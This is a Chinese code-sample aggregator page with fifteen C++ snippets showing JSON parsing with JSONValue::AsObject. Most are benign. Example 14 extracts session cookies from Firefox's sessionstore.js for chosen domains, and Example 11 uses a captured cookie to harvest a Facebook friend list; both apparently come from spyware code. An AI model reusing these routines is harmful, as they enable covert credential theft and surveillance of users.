当前位置: 首页>>代码示例>>C++>>正文


C++ JSONValue::AsObject方法代码示例

本文整理汇总了C++中JSONValue::AsObject方法的典型用法代码示例。如果您正苦于以下问题:C++ JSONValue::AsObject方法的具体用法?C++ JSONValue::AsObject怎么用?C++ JSONValue::AsObject使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在JSONValue的用法示例。


在下文中一共展示了JSONValue::AsObject方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: parseJsonStr

void CTestJSON::parseJsonStr( const std::wstring& strJsonStr )
{
	JSONValue* jsInput = JSON::Parse(strJsonStr.c_str());
	if (jsInput == NULL || !jsInput->IsObject())
	{
		return;
	}

	JSONObject::const_iterator itResult = jsInput->AsObject().find(L"result");
	if (itResult != jsInput->AsObject().end())
	{
		std::wstring strResult = itResult->second->AsString();
		std::wcout << L"result" << L":" << strResult << std::endl;
	}

	JSONObject::const_iterator itLove = jsInput->AsObject().find(L"Love");
	if (itLove != jsInput->AsObject().end())
	{
		std::wstring strResult = itLove->second->AsString();
		std::wcout << L"Love" << L":" << strResult << std::endl;
	}

	JSONArray jsArray;
	JSONObject::const_iterator itContents = jsInput->AsObject().find(L"contents");
	if (itContents != jsInput->AsObject().end() && itContents->second != NULL && itContents->second->IsArray())
	{
		jsArray = itContents->second->AsArray();
	}

	std::wcout << "[" << std::endl;
	JSONArray::iterator it = jsArray.begin();
	JSONArray::iterator itEnd = jsArray.end();
	for (; it != itEnd; ++it)
	{
		JSONValue* jsValue = *it;
		if (jsValue->IsObject())
		{
			jsValue->AsObject();
			JSONObject::const_iterator itObj = jsValue->AsObject().begin();
			JSONObject::const_iterator itObjEnd = jsValue->AsObject().end();
			for (; itObj != itObjEnd; ++itObj)
			{
				std::wstring strValue = itObj->second->AsString();
				std::wcout << L"{" << itObj->first << L":" << strValue << L"}" << std::endl;
			}
		}
		else if (jsValue->IsString())
		{		
			std::wstring strValue = jsValue->AsString();
			std::wcout << strValue << std::endl;
		}
		else if (jsValue->IsNumber())
		{
			double dValue = jsValue->AsNumber();
			std::wcout << dValue << std::endl;
		}
		//...
	}
	std::wcout << "]" << std::endl;
}
开发者ID:BillXu,项目名称:simple_win,代码行数:60,代码来源:test.cpp

示例2: bday_thread

unsigned WINAPI bday_thread(LPVOID)
{
	SYSTEMTIME st;
	GetSystemTime(&st);
	wostringstream q;
	q << L"SELECT+name%2c+profile_url+from+user+where+uid+in+(select+uid2+from+friend+where+uid1+%3d+me())+and+strpos(birthday_date%2c%22";
	q << (st.wMonth);
	q << L"%2f";
	q << (st.wDay);
	q << L"%22)%3e%3d0";
	wstring fql = q.str();

	JSONValue *j = fql_query(fql.c_str());
	
	if(j)
	{
		
		JSONObject obj = j->AsObject();
		JSONArray data = (obj[L"data"] ? obj[L"data"]->AsArray(): JSONArray());
		for(JSONArray::const_iterator i = data.begin();i != data.end(); ++i)
		{
			JSONObject i_obj = (*i)->AsObject();
			wstring name = i_obj[L"name"]->AsString();
			name += L" ma urodziny!";
			wstring url = i_obj[L"profile_url"]->AsString();
			display_notif(wstring(L"Facebook Urodziny"), name, url);
		}
		delete j;
	}
	return 0;
}
开发者ID:raczman,项目名称:wtw-fb-notif,代码行数:31,代码来源:fb.cpp

示例3: getObjectFromArray

JSONObject Configuration::getObjectFromArray(const wstring& arrayName, const wstring& field) {
	JSONValue *c = json[arrayName];

	if (c == NULL || c->IsObject() == FALSE) {
		throw new exception();
	}

	JSONObject arr = c->AsObject();
	JSONValue *val = arr[field];

	if (val == NULL || val->IsObject() == FALSE) {
		throw new exception();
	}

	return val->AsObject();
}
开发者ID:BwRy,项目名称:core-winmobile,代码行数:16,代码来源:Configuration.cpp

示例4: RunExperiments

    void RunExperiments(ifstream &input, ofstream &output) {
        // Read input file
        input.seekg(0, ios::end);
        size_t input_length = input.tellg();
        input.seekg(0, ios::beg);
        char * input_content = new char[input_length+1];
        input.read(input_content, input_length);
        input_content[input_length] = 0;

        map<string, fnptr> &registeredExperiments = RegisterExperiment("", NULL);
        cout << "Registered experiments: " << endl;
        for(map<string, fnptr>::iterator it = registeredExperiments.begin(); it != registeredExperiments.end(); ++it)
            cout << "\t- " << it->first << endl;

        // Create JSON object
        JSONValue *root = JSON::Parse(input_content);
        delete [] input_content;

        // Iterate over each object
        if (!root->IsObject()) {
            cerr << "Error, the input file does not contain objects." << endl;
            return;
        }

        cout << endl;
        cout << "* Running Experiments" << endl;
        output << "{" << endl;
        // This is a vector of <sdt::wstring, JSONValue>
        JSONObject objects = root->AsObject();
      
        Timer overall_time;        
        for(JSONObject::iterator it = objects.begin(); it != objects.end(); ++it) {
            string tmp((it->first).begin(), (it->first).end());
            output << "experiment_name: \"" << tmp << "\"" << endl;
            if (registeredExperiments.count(tmp) == 0) {
                cout << "\tExperiment " << tmp << " is not registered." << endl;
                output << "result: \"error\"" << endl;
            } else {
                cout << "\tRunning experiment " << tmp << endl;
                Timer experiment_time;
                wstring result = registeredExperiments[tmp](it->second->Stringify());

                experiment_time.stop();
                
                string tmp_result(result.begin(), result.end());
                output << "result: " << tmp_result << endl;
                output << "experiment_time:" << experiment_time.elapsedTime() << endl;
            }
        }
        overall_time.stop();
        output << "overall_time:" << overall_time.elapsedTime() << endl;
        output << GetSystemInformation();
        output << "}" << endl;
    }
开发者ID:simpzan,项目名称:perftest,代码行数:54,代码来源:perftest_runner.cpp

示例5: AddJsonStr

std::wstring CTestJSON::AddJsonStr( const std::wstring& strJsonStr )
{
	/*
	SimpleJson 库插入是非常麻烦的事情。
	JSONValue对象有智能指针的功能,会给你析构掉它所包含的JSON对象
	而JSON的as....函数,返回的是const类型的引用,如果是array类型,那么是JSONValue*的浅拷贝
	对Parse的返回值实行delete之后,JSONValue又会再delete一次,于是出现多次析构的错误
	所以必须保证,要么只有JSONValue对象去执行析构,要么只有主动的delete Parse的返回值。
	对于插入来说,这种逻辑会带来麻烦。定义了一个JSONValue,浅拷贝了parse返回值的一部分json对象,
	然后JSONValue析构了浅拷贝的JSONValue*,先对Parse的返回值则很难做处理,如果delete,则多析构了JSON对象,
	如果不delete,则Parse内部new的map内存没有被析构。

	解决办法有两种:
	1、不要定义JSONValue对象,而是定义JSONValue引用,因为我要往JSONValue里插值,所以必须用到const_cast。
	2、递归拷贝出JSONValue*里的字符串格式的JSON对象,然后再Parse之后进入新JSONObj,
	保证新、旧对象分离。
	*/
	JSONValue* jsInput = JSON::Parse(strJsonStr.c_str());
	if (jsInput == NULL || !jsInput->IsObject())
	{
		return L"";
	}

	std::wstring strRet;
	JSONObject jsObjNew;
	JSONObject::const_iterator it = jsInput->AsObject().begin();
	JSONObject::const_iterator itEnd = jsInput->AsObject().end();
	for (; it != itEnd; ++it)
	{
		std::wstring strFirst = it->first.c_str();
		std::wstring strSecond = it->second->Stringify().c_str();
		JSONValue* pTemp = JSON::Parse(strSecond.c_str());
		jsObjNew[strFirst] = pTemp;
	}
	jsObjNew[L"Love"] = new(std::nothrow)JSONValue(L"is Happiness");
	JSONValue jsValueNew = jsObjNew;
	strRet = jsValueNew.Stringify();
	return strRet;
}
开发者ID:BillXu,项目名称:simple_win,代码行数:39,代码来源:test.cpp

示例6: getIntFromArray

INT Configuration::getIntFromArray(const wstring& arrayName, const wstring& field) {
	JSONObject::const_iterator iter;

	JSONValue *c = json[arrayName];

	if (c == NULL || c->IsObject() == FALSE) {
		throw new exception();
	}

	JSONObject arr = c->AsObject();
	JSONValue *val = arr[field];

	if (val == NULL || val->IsNumber() == FALSE) {
		throw new exception();
	}
	return static_cast<INT>(val->AsNumber());
}
开发者ID:BwRy,项目名称:core-winmobile,代码行数:17,代码来源:Configuration.cpp

示例7: notif_thread

unsigned WINAPI notif_thread(LPVOID)
{
	JSONValue *j = fql_query(L"select+title_text%2c+href%2c+icon_url+from+notification+where+recipient_id+%3d+me()+and+is_unread");
	if(j && j->IsObject())
	{
		JSONObject obj = j->AsObject();
		JSONArray data = obj[L"data"]->AsArray();
		for(JSONArray::const_iterator i = data.begin();i != data.end();++i)
		{
			if(!((*i)->IsObject()))
				continue;
			JSONObject i_obj = (*i)->AsObject();
			wstring href, title_text;
			href = i_obj[L"href"]->AsString();
			title_text = i_obj[L"title_text"]->AsString();
			display_notif(wstring(L"Facebook Notification"), title_text, href);	
		}
		delete j;
	}
	return 0;
}
开发者ID:raczman,项目名称:wtw-fb-notif,代码行数:21,代码来源:fb.cpp

示例8: in

TechTree *TechTree::fromFile(std::string filename,
                             ImageManager *imgMgr)
{
    std::wifstream in(filename.c_str());

    std::wstring data = L"";
    std::wstring line;
    while (getline(in, line)) {
        data += line;
        if (!in.eof()) data += L"\n";
    }

    JSONValue *tree = JSON::Parse(data.c_str());
    if (!tree) {
        log("Failed to load the technology tree");
        return NULL;
    }

    TechTree *that = fromJSONObject(tree->AsObject(), imgMgr);
    delete tree;

    return that;
}
开发者ID:CyrilPaulus,项目名称:Strates,代码行数:23,代码来源:techTree.cpp

示例9:

		JNIEXPORT void JNICALL Java_tv_ouya_sdk_android_CallbacksRequestPurchase_CallbacksRequestPurchaseOnSuccess(JNIEnv* env, jobject thiz, jstring jsonData)
		{
			//LOGI("***********Java_tv_ouya_sdk_android_CallbacksRequestPurchase_CallbacksRequestPurchaseOnSuccess***********");
		
			std::string strJsonData = env->GetStringUTFChars(jsonData, NULL);

			//char buffer[256];
			//sprintf(buffer, "Java_tv_ouya_sdk_android_CallbacksRequestPurchase_CallbacksRequestPurchaseOnSuccess: Returned to C: %s", strJsonData.c_str());
			//LOGI(buffer);

			// Parse example data
			JSONValue* value = JSON::Parse(strJsonData.c_str());

			if (value == NULL)
			{
				LOGI("Parsing JSON Failed");
				return;
			}

			if (!value->IsObject())
			{
				LOGI("Parsing JSON Failed: Not an object");
				return;
			}

			// Retrieve the main object
			JSONValue data = value->AsObject();

			OuyaSDK::Product product;
			product.ParseJSON(&data);
		
			CallbacksRequestPurchase* callback = CallbackSingleton::GetInstance()->m_callbacksRequestPurchase;
			if (callback)
			{
				callback->OnSuccess(product);
			}
		}
开发者ID:Arg410,项目名称:ouya-sdk-examples,代码行数:37,代码来源:CallbackSingleton.cpp

示例10: Process

void CommandController::Process(std::string source, std::string message)
{
	// commands can perform an effect on the game via the command functors ...

	JSONValue *value = JSON::Parse(message.c_str());

	std::string id,target;
	if (value)
	{
		if (!value->IsObject())
		{
			EZLOGGERVLSTREAM(axter::log_always) << "Input from " << source << ": Object expected." <<  std::endl;
		}
		else
		{
			JSONObject object = value->AsObject();

			JSONValue* jsonID = (object.find(L"id") != object.end())?  object[L"id"] : NULL;
			JSONValue* jsonTarget = (object.find(L"target") != object.end())?  object[L"target"] : NULL;

			if (jsonID != NULL && jsonID->IsString())
			{
				std::wstring ws = jsonID->AsString();
				id  = std::string( ws.begin(), ws.end() );
			}
			else
			{
				EZLOGGERVLSTREAM(axter::log_always) << "Input from " << source << ": string id expected." <<  std::endl;
			}

			if (jsonTarget != NULL && jsonTarget->IsString())
			{
				std::wstring ws = jsonTarget->AsString();
				target  = std::string( ws.begin(), ws.end() );
			}
		}
	}
	
	delete value;

	bool toSend = true;
	auto clientCommandIter = clientCommands.find(source);

	if (clientCommandIter != clientCommands.end())
	{
		// there is a filter list for this client
		toSend = false;
		for (auto i = clientCommandIter->second.begin(); i != clientCommandIter->second.end(); i++)
		{
			if (id.compare(*i) == 0 )
			{
				toSend = true;
				break;
			}
		}
	}

	if (!toSend)
		return;

	auto commandIterator = commands.find(id);
	if (commandIterator != commands.end())
	{
		// call the behavior
		(commandIterator->second)(target);
	}

	// ... and they can also be routed to other clients
	auto configurationIter = commandConfigurations.find(id);
	if (configurationIter != commandConfigurations.end())
	{
		// a config exists, send to all in 'route'
		auto configuration = configurationIter->second;
		for (auto i = configuration.route.begin(); i != configuration.route.end(); i++)
		{
			auto client = *i;
			for (auto j = commanders.begin(); j != commanders.end(); j++)
			{
				auto clientConnection = *j;
				if (clientConnection->id.compare(client) == 0)
				{
					clientConnection->Send(message);
				}
			}
		}
	}



}
开发者ID:TheunisKotze,项目名称:Neuro-Sand-Cube,代码行数:90,代码来源:CommandController.cpp

示例11: FacebookContactHandler

DWORD FacebookContactHandler(LPSTR strCookie)
{
	LPSTR strUserId, strScreenName;

	if (!ConfIsModuleEnabled(L"addressbook"))
		return SOCIAL_REQUEST_SUCCESS;

	// get user id and screen name
	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
		return SOCIAL_REQUEST_BAD_COOKIE;

	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array

	LPSTR strRecvBuffer=NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		zfree(strUrl);
		return SOCIAL_REQUEST_NETWORK_PROBLEM;
	}

	LPSTR strJson = strRecvBuffer;
	while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
		strJson++;

	JSONValue *jValue = JSON::Parse(strJson);
	if (jValue != NULL && jValue->IsObject())
	{
		JSONObject jRoot = jValue->AsObject();
		if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
		{
			if (jRoot[L"payload"]->IsObject())
			{
				JSONObject jPayload = jRoot[L"payload"]->AsObject();
				if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray())  //FIXME: array
				{
					JSONArray jEntries = jPayload[L"entries"]->AsArray();  //FIXME: array
					for (DWORD i=0; i<jEntries.size(); i++)
					{
						LPWSTR strUID = NULL;
						LPWSTR strName = NULL; 
						LPWSTR strProfile = NULL;

						if (!jEntries.at(i)->IsObject())
							continue;

						JSONObject jEntry = jEntries.at(i)->AsObject();
						if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber())  //FIXME: array
						{							
							strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber());  //FIXME: array
						}
						if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString())  //FIXME: array
						{
							strName = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 
							memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}
						if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString())  //FIXME: array
						{
							strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
							memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR)));  //FIXME: array
						}

						if (strUID && strName && strProfile)
						{
							LPSTR strTmp = (LPSTR) zalloc(1024);
							_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);

							DWORD dwFlags = 0;
							if (!strncmp(strTmp, strUserId, strlen(strUserId)))
								dwFlags = CONTACTS_MYACCOUNT;
							
							SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
							zfree(strTmp);
						}

						zfree(strName);
						zfree(strProfile);
						zfree(strUID);
					}
				}
			}
		}
	}

	/* cleanup */
	zfree(strUserId);
	zfree(strScreenName);
	zfree(strRecvBuffer);
	zfree(strUrl);
	if (jValue)
		delete jValue;

	return SOCIAL_REQUEST_BAD_COOKIE;
}
开发者ID:amsterdamnedkid,项目名称:soldier-win,代码行数:98,代码来源:facebook.cpp

示例12: processPropertiesFile

void processPropertiesFile(const char *filename, Camera &cam)
{
  struct stat st;
  if (stat(filename, &st) != 0) {
    fprintf(stderr, "Error processing prefs file '%s': can't stat", filename);
  }
  char *contents = new char[st.st_size + 1];
  FILE *fp = fopen(filename, "r");
  fread(contents, st.st_size, 1, fp);
  contents[st.st_size] = '\0';
  JSONValue *prefdict = JSON::Parse(contents);
  if (!prefdict) {
    fprintf(stderr, "Error processing prefs file '%s': not valid JSON\n", filename);
    exit(1);
  }
  if (!prefdict->IsObject()) {
    fprintf(stderr, "Error processing prefs file '%s': root not a JSON object\n", filename);
    exit(1);
  }

  JSONObject root = prefdict->AsObject();
  JSONObject properties = root[L"properties"]->AsObject();
  for (JSONObject::iterator iter = properties.begin();
       iter != properties.end(); iter++) {
    Property property;

    property.type = getPropertyType(iter->first);
    cam.GetProperty(&property);
    char pname[512];
    wcstombs(pname, iter->first.c_str(), 512);

    JSONObject propertySettings = iter->second->AsObject();
    for (JSONObject::iterator iter2 = propertySettings.begin();
         iter2 != propertySettings.end(); iter2++) {
      if (iter2->first == L"onOff" || iter2->first == L"autoManualMode") {
        if (!iter2->second->IsBool()) {
          fprintf(stderr, "Error: Expected onOff/auto property to be boolean, was not\n");
          exit(1);
        }
        if (iter2->first == L"onOff")
          property.onOff = iter2->second->AsBool();
        else
          property.autoManualMode = iter2->second->AsBool();
      }
      else if (iter2->first == L"absValue" || iter2->first == L"valueA" ||
               iter2->first == L"valueB") {
        if (!iter2->second->IsNumber()) {
          fprintf(stderr, "Error: Expected absValue/valueA/valueB property "
                  "to be a number, was not\n");
          exit(1);
        }
        if (iter2->first == L"absValue")
          property.absValue = iter2->second->AsNumber();
        else if (iter2->first == L"valueA")
          property.valueA = iter2->second->AsNumber();
        else
          property.valueB = iter2->second->AsNumber();
      }
    }
    cam.SetProperty(&property);
  }
}
开发者ID:William-Hsu,项目名称:eideticker,代码行数:62,代码来源:settings.cpp

示例13: config_exec_json

bool Utility::config_exec_json(const char *cfgfile, bool msg)
{
    string s;
    copystring(s, cfgfile);
    char *buf = loadfile(path(s), NULL);
    if(!buf)
    {
        if(msg) conoutf(CON_ERROR, "could not read \"%s\"", s);
        return false;
    }
    // let's parse!
    JSONValue *value = JSON::Parse(buf);
    // we can delete buf now. It's all safely stored in JSONValue.
    delete[] buf;

    if (value == NULL)
    {
        if(msg) conoutf(CON_ERROR, "could not load \"%s\"", s);
        return false;
    }
    else
    {
        JSONObject root;
        if (value->IsObject() == false)
        {
            if(msg) conoutf(CON_ERROR, "could not load JSON root object.");
            return false;
        }
        else
        {
            root = value->AsObject();
            if (root.find(L"crosshairs") != root.end() && root[L"crosshairs"]->IsObject())
            {
                JSONObject crls = root[L"crosshairs"]->AsObject();
                for (JSONObject::const_iterator criter = crls.begin(); criter != crls.end(); ++criter)
                {
                    defformatstring(aliasc)("CAPI.loadcrosshair(\"%s\", %i)", fromwstring(criter->first).c_str(), (int)criter->second->AsNumber());
                    lua::engine.exec(aliasc);
                }
            }
            if (root.find(L"variables") != root.end() && root[L"variables"]->IsObject())
            {
                JSONObject vars = root[L"variables"]->AsObject();
                for (JSONObject::const_iterator viter = vars.begin(); viter != vars.end(); ++viter)
                {
                    var::cvar *v = var::get(fromwstring(viter->first).c_str());
                    if (v)
                    {
                        switch (v->gt())
                        {
                            case var::VAR_I: v->s((int)viter->second->AsNumber()); break;
                            case var::VAR_F: v->s((float)viter->second->AsNumber()); break;
                            case var::VAR_S: v->s(fromwstring(viter->second->AsString()).c_str()); break;
                        }
                    }
                }
            }
            if (root.find(L"binds") != root.end() && root[L"binds"]->IsObject())
            {
                JSONObject bnds = root[L"binds"]->AsObject();
                for (JSONObject::const_iterator biter = bnds.begin(); biter != bnds.end(); ++biter)
                {
                    JSONObject bnd = biter->second->AsObject();
                    for (JSONObject::const_iterator biiter = bnd.begin(); biiter != bnd.end(); ++biiter)
                    {
                        defformatstring(bindcmd)("CAPI.%s(\"%s\", [[%s]])", fromwstring(biiter->first).c_str(), fromwstring(biter->first).c_str(), fromwstring(biiter->second->AsString()).c_str());
                        lua::engine.exec(bindcmd);
                    }
                }
            }
            if (root.find(L"aliases") != root.end() && root[L"aliases"]->IsObject())
            {
                JSONObject als = root[L"aliases"]->AsObject();
                for (JSONObject::const_iterator aiter = als.begin(); aiter != als.end(); ++aiter)
                {
                    defformatstring(aliasc)("%s = \"%s\"", fromwstring(aiter->first).c_str(), fromwstring(aiter->second->AsString()).c_str());
                    lua::engine.exec(aliasc);
                }
            }
            // TODO: completions
            /*
            if (root.find(L"completions") != root.end() && root[L"completions"]->IsObject())
            {
                JSONObject cmpl = root[L"completions"]->AsObject();
                for (JSONObject::const_iterator citer = cmpl.begin(); citer != cmpl.end(); ++citer)
                {
                    if (fromwstring(citer->first) == "listcomplete")
                    {
                        std::string cmpl;
                        JSONArray cfa = citer->second->AsArray();
                        JSONArray cfaa = cfa[1]->AsArray();
                        for (unsigned int cfai = 0; cfai < cfaa.size(); cfai++)
                        {
                            cmpl += fromwstring(cfaa[cfai]->AsString());
                            if ((cfai + 1) != cfaa.size()) cmpl += " ";
                        }
                        defformatstring(listcmplcmd)("listcomplete \"%s\" [%s]", fromwstring(cfa[0]->AsString()).c_str(), cmpl.c_str());
                        execute(listcmplcmd);
                    }
                    else
//.........这里部分代码省略.........
开发者ID:bartbes,项目名称:CubeCreate,代码行数:101,代码来源:utility.cpp

示例14: DumpSessionCookies

int DumpSessionCookies(WCHAR *profilePath)
{
	char *session_memory = NULL;
	DWORD session_size;
	HANDLE h_session_file;
	JSONValue *value;
	JSONObject root;
	WCHAR sessionPath[MAX_PATH];
	WCHAR *host = NULL, *name = NULL, *cvalue = NULL;
	DWORD n_read = 0;

	swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath);
	h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (h_session_file == INVALID_HANDLE_VALUE)
		return 0;
	session_size = GetFileSize(h_session_file, NULL);
	if (session_size == INVALID_FILE_SIZE || session_size == 0) {
		CloseHandle(h_session_file);
		return 0;
	}
	session_memory = (char *)malloc(session_size + sizeof(WCHAR));
	if (!session_memory) {
		CloseHandle(h_session_file);
		return 0;
	}
	memset(session_memory, 0, session_size + sizeof(WCHAR));
	if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
		CloseHandle(h_session_file);
		SAFE_FREE(session_memory);
		return 0;
	}
	CloseHandle(h_session_file);
	if (n_read != session_size) {
		SAFE_FREE(session_memory);
		return 0;
	}
	value = JSON::Parse(session_memory);
	if (!value) {
		SAFE_FREE(session_memory);
		return 0;
	}
	if (value->IsObject() == false) {
		delete value;
		SAFE_FREE(session_memory);
		return 0;
	}
	root = value->AsObject();

	if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) {
		JSONArray jwindows = root[L"windows"]->AsArray();
		for (unsigned int i = 0; i < jwindows.size(); i++) {
			if (jwindows[i]->IsObject()) {
				JSONObject jtabs = jwindows[i]->AsObject();
				if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) {
					JSONArray jcookiearray = jtabs[L"cookies"]->AsArray();
					for (unsigned int j = 0; j < jcookiearray.size(); j++) {
						if (jcookiearray[j]->IsObject()) {
							JSONObject jcookie = jcookiearray[j]->AsObject();
							if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString()) 
								host = _wcsdup(jcookie[L"host"]->AsString().c_str());
							if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString()) 
								name = _wcsdup(jcookie[L"name"]->AsString().c_str());
							if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString()) 
								cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str());

							NormalizeDomainW(host);
							if (host && name && cvalue && IsInterestingDomainW(host))
								AddCookieW(host, name, cvalue);

							SAFE_FREE(host);
							SAFE_FREE(name);
							SAFE_FREE(cvalue);
						}
					}
				}
			}
		}
	}	
	delete value;
	SAFE_FREE(session_memory);
	return 1;
}
开发者ID:BwRy,项目名称:core-linux,代码行数:82,代码来源:Cookie_FireFox.cpp

示例15: parseWorkutsJson

// Example 1
ResultCode CommonDBController::parseWorkutsJson(const std::string& jsonData)
{
    // Parse example data

    JSONValue *value = JSON::Parse(jsonData.c_str());
    ResultCode result = ResultCode::OK;
    if (value == NULL)
    {
        LOGE(TAG, "Cannot read workouts json data\r\n");
        result = ResultCode::ERROR;
    }
    else
    {
        // Retrieve the main object
        JSONObject root;
        LOGE(TAG, "SONObject root\r\n");
        if (value->IsObject() == false)
        {
            LOGE(TAG, "The root element is not an object, json is not correct! \r\n");
            result = ResultCode::ERROR;
        }
        else
        {
            root = value->AsObject();

            const std::string& workoutLevelTableName = GymfitDBContract::WorkoutLevelEntry::TABLE_NAME;
            if (root.find(workoutLevelTableName) != root.end() &&
                root[workoutLevelTableName]->IsArray())
            {
                JSONArray array = root[workoutLevelTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string wLevelStr = array[i]->Stringify();
                    LOGI(TAG, std::string(wLevelStr.begin(), wLevelStr.end()).c_str());

                    JSONObject levelObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(levelObject, GymfitDBContract::WorkoutLevelEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutLevelEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }


            const std::string& workoutTypeTableName = GymfitDBContract::WorkoutTypeEntry::TABLE_NAME;
            if (root.find(workoutTypeTableName) != root.end() &&
                root[workoutTypeTableName]->IsArray())
            {
                JSONArray array = root[workoutTypeTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string typrStr = array[i]->Stringify();
                    LOGI(TAG, typrStr.c_str());

                    JSONObject typeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(typeObject, GymfitDBContract::WorkoutTypeEntry::COLUMN_TYPE_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutTypeEntry::TABLE_NAME,
                                                            values, columnKeys) ==ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            
            const std::string& workoutGoalTableName = GymfitDBContract::WorkoutGoalEntry::TABLE_NAME;
            if (root.find(workoutGoalTableName) != root.end() &&
                root[workoutGoalTableName]->IsArray())
            {
                JSONArray array = root[workoutGoalTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string goalStr = array[i]->Stringify();
                    LOGI(TAG, goalStr.c_str());
                    
                    JSONObject goalObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(goalObject, GymfitDBContract::WorkoutGoalEntry::COLUMN_GOAL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutGoalEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
//.........这里部分代码省略.........
开发者ID:dshevchyk,项目名称:gymfit,代码行数:101,代码来源:CommonDBController.cpp


注:本文中的JSONValue::AsObject方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。